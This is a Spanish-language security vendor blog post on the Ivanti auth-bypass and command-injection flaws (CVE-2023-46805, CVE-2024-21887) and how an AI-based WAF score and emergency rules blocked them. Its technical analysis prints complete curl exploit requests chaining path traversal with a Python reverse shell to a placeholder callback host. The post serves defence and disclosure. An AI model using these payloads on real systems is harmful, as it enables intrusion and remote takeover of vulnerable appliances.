La mayoría de los proveedores de WAF dependen de métodos reactivos, y responden a las vulnerabilidades una vez se han identificado y explotado. Sin embargo, creemos en la capacidad de abordar de forma proactiva los riesgos potenciales y utilizar la IA para lograrlo. Hoy analizamos un ejemplo reciente de una vulnerabilidad crítica (CVE-2023-46805 y CVE-2024-21887) y cómo nuestro sistema Attack Score impulsado por IA y las reglas de emergencia en el WAF contrarrestaron esta amenaza.
Amenaza: CVE-2023-46805 y CVE-2024-21887
La plataforma AttackerKB identificó y analizó recientemente una vulnerabilidad de omisión de autenticación (CVE-2023-46805) e inyección de comandos (CVE-2024-21887) que afectaba a los productos Ivanti. Esta vulnerabilidad plantea riesgos importantes que podrían llevar al acceso y control no autorizados de los sistemas afectados. En la siguiente sección explicaremos cómo se puede explotar esta vulnerabilidad.
Análisis técnico
Tal y como se analiza en la plataforma AttackerKB, el atacante puede enviar una solicitud malintencionada al sistema de destino mediante un comando como este:
Este comando tiene como objetivo un punto final (/license/keys-status/) que normalmente está protegido mediante autenticación. Sin embargo, el atacante puede eludir la autenticación manipulando la URL para incluir /api/v1/totp/user-backup-code/../../license/keys-status/. Esta técnica se conoce como Directory Traversal.
curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22CONNECTBACKIP%22%2CCONNECTBACKPORT%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B
La parte del comando con codificación URL se decodifica en un reverse shell en Python, que se ve así:
El reverse shell en Python es una forma que permite al atacante obtener control sobre el sistema objetivo.
;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("CONNECTBACKIP",CONNECTBACKPORT));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';
La vulnerabilidad existe en la forma en que el sistema procesa el parámetro node_name. Si un atacante puede controlar el valor de node_name, puede inyectar comandos en el sistema.
El parámetro "node_name" es un componente del punto final /api/v1/license/keys-status/path:node_name. Este punto final es donde ocurre principalmente el problema.
El atacante puede enviar una solicitud GET a la ruta URI /api/v1/totp/user-backup-code/../../license/keys-status/;CMD; donde CMD es cualquier comando que deseen ejecutar. El uso de un punto y coma les permite especificar este comando en la solicitud. Para garantizar que el sistema procese correctamente el comando, debe tener codificación URL.
Se identificó otra vulnerabilidad de inyección de código, como se detalla en la publicación del blog de AttackerKB. Esta vez, se trataba de una inyección de comando autenticado que se encuentra en una parte diferente del sistema.
Aquí se puede emplear la misma carga malintencionada del reverse shell de Python utilizada en la primera inyección de comando, creando una estructura JSON para activar la vulnerabilidad. Dado que la carga malintencionada está en JSON, no es necesario que tenga codificación URL:
Aunque el punto final /api/v1/system/maintenance/archiving/cloud-server-test-connection requiere autenticación, un atacante puede evitarlo encadenándolo con la vulnerabilidad Directory Traversal mencionada anteriormente. Pueden crear una ruta URI no autenticada /api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection para llegar a este punto final y explotar la vulnerabilidad.
{
"type": ";python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"CONNECTBACKIP\",CONNECTBACKPORT));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';",
"txtGCPProject": "a",
"txtGCPSecret": "a",
"txtGCPPath": "a",
"txtGCPBucket": "a"
}
Para ejecutar un comando del sistema operativo no autenticado, un atacante usaría una solicitud curl como esta:
Protección proactiva de Cloudflare
curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection -H 'Content-Type: application/json' --data-binary $'{ \"type\": \";python -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"CONNECTBACKIP\\\",CONNECTBACKPORT));subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\';\", \"txtGCPProject\":\"a\", \"txtGCPSecret\":\"a\", \"txtGCPPath\":\"a\", \"txtGCPBucket\":\"a\" }'
Cloudflare WAF cuenta con el respaldo de una capa adicional impulsada por IA llamada WAF Attack Score, cuyo objetivo es detectar desviaciones de ataques incluso antes de que se hagan públicos. Attack Score proporciona una puntuación para indicar si la solicitud es maliciosa o no. Se centra en tres categorías principales hasta ahora: XSS, SQLi y algunas variaciones de RCE (Command injection, ApacheLog4J, etc.). La puntuación oscila entre 1 y 99 y cuanto menor sea la puntuación, más peligrosa será la solicitud. En términos generales, cualquier solicitud con una puntuación inferior a 20 se considera maliciosa.
Echa un vistazo a los resultados del ejemplo de las vulnerabilidades anteriores, CVE-2023-46805 y CVE-2024-21887, en el panel de Cloudflare (Seguridad > Incidentes). Los resultados del análisis de Attack Score constan de tres puntuaciones individuales, cada una etiquetada para indicar su relevancia para una categoría de ataque específica. También hay una puntuación global, "WAF Attack Score", que evalúa el impacto combinado de estas tres puntuaciones. En algunos casos, la puntuación global se ve afectada por una de las subpuntuaciones si el ataque coincide con una categoría. A continuación, podemos ver que la subpuntuación dominante es la ejecución remota de código "WAF RCE Attack Score".
De manera similar, para la solicitud de comando del sistema operativo no autenticado, recibimos una puntuación "WAF Attack Score: 19" del modelo de IA, que también se encuentra en la categoría de solicitud maliciosa. Vale la pena mencionar que las puntuaciones de ejemplo no son números fijos y pueden variar según la variación del ataque recibido.
La buena noticia es que los clientes suscritos a los planes Enterprise y Business que hayan habilitado WAF Attack Score, junto con una regla para bloquear puntuaciones bajas (por ejemplo, [cf.waf.score](https://developers.cloudflare.com/waf/about/waf-attack-score/#available-scores) le 20
) o ([cf.waf.score.class](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#field-cf-waf-score-class) eq
"attack
") para Business, ya estaban protegidos de posibles vulnerabilidades que se han probado hasta ahora incluso antes de que se anunciara la vulnerabilidad.
Implementación de reglas de emergencia
En respuesta a esta vulnerabilidad crítica, Cloudflare implementó reglas de emergencia el 17 de enero de 2024, 24 horas después de que la prueba de concepto se hiciera pública. Estas reglas son parte de sus reglas administradas para el WAF, específicamente dirigidas a la amenaza planteada por CVE-2023-46805 y una vulnerabilidad adicional, CVE-2024-21887, también relacionada con los productos Ivanti. Se han creado las reglas, denominadas "Ivanti - Auth Bypass, Command injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887", para bloquear los intentos de explotar estas vulnerabilidades y proporcionar una capa adicional de seguridad a los usuarios de Cloudflare.
Desde que implementamos estas reglas, hemos registrado un alto nivel de actividad. En el momento de redactar este informe, la regla se había activado más de 180 000 veces.
.tg {border-collapse:collapse;border-color:#ccc;border-spacing:0;} .tg td{background-color:#fff;border-color:#ccc;border-style:solid;border-width:1px;color:#333; font-family:Arial, sans-serif;font-size:14px;overflow:hidden;padding:10px 5px;word-break:normal;} .tg th{background-color:#f0f0f0;border-color:#ccc;border-style:solid;border-width:1px;color:#333; font-family:Arial, sans-serif;font-size:14px;font-weight:normal;overflow:hidden;padding:10px 5px;word-break:normal;} .tg .tg-dgl5{background-color:#FFF;font-weight:bold;text-align:left;vertical-align:top} .tg .tg-ktyi{background-color:#FFF;text-align:left;vertical-align:top} .tg .tg-0lax{text-align:left;vertical-align:top}
Rule ID | Description | Default Action |
---|---|---|
New Managed Rule…34ab53c5 | Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887 | Block |
Legacy Managed Rule 100622 |
Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887 | Block |
Id. de regla
Descripción
Acción por defecto
Nueva regla administrada…34ab53c5
Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887
Bloquear
Regla administrada heredada100622
Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887
Bloquear
Implicaciones y prácticas recomendadas
La respuesta de Cloudflare a CVE-2023-46805 y CVE-2024-21887 destaca la importancia de contar con medidas de seguridad sólidas. Se recomienda a las organizaciones que utilizan los servicios de Cloudflare, en particular el WAF, que se aseguren de que sus sistemas estén actualizados con las últimas reglas y configuraciones para garantizar una protección óptima. También recomendamos a los clientes que implementen reglas con Attack Score para mejorar su postura de seguridad. Si deseas obtener más información sobre Attack Score, ponte en contacto con tu equipo de cuenta.
Conclusión
El enfoque proactivo de Cloudflare en materia de ciberseguridad con el uso de IA para identificar y detener ataques, como demuestra su respuesta a las vulnerabilidades CVE-2023-46805 y CVE-2024-21887, resalta cómo se pueden identificar las amenazas y los ataques antes de que se hagan públicos y se revelen las vulnerabilidades. La supervisión continua y la capacidad de responder rápidamente a las vulnerabilidades permiten a Cloudflare garantizar la seguridad de sus clientes en un panorama digital cada vez más complejo.